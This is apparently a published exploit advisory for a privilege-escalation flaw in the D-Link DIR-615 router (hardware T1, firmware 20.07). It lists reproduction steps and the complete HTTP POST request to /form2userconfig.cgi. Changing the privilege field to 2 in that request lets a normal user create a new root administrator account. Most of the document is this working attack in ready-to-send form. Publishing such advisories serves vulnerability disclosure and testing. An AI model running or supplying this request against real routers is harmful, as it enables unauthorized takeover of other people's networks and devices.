# Exploit Title: D-Link DIR-615 - Privilege Escalation # Date: 2019-12-10 # Exploit Author: Sanyam Chawla # Vendor Homepage: http://www.dlink.co.in # Category: Hardware (Wi-fi Router) # Hardware Link: http://www.dlink.co.in/products/?pid=678 # Hardware Version: T1 # Firmware Version: 20.07 # Tested on: Windows 10 and Kali linux # CVE: N/A # Reproduction Steps: # Login to your wi-fi router gateway with normal user credentials [i.e: http://192.168.0.1] # Go to the Maintenance page and click on Admin on the left panel. # There is an option to create a user and by default, it shows only user accounts. # Create an account with a name(i.e ptguy) and change the privileges from user to root(admin) # by changing privileges id (1 to 2) with burp suite. # Privilege Escalation Post Request POST /form2userconfig.cgi HTTP/1.1 Host: 192.168.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 122 Origin: http://192.168.0.1 Connection: close Referer: http://192.168.0.1/userconfig.htm Cookie: SessionID= Upgrade-Insecure-Requests: 1 username=ptguy&privilege=2&newpass=pentesting&confpass=pentesting&adduser=Add&hiddenpass=&submit.htm%3Fuserconfig.htm=Send # Now log in with newly created root (ptguy) user. You have all administrator rights.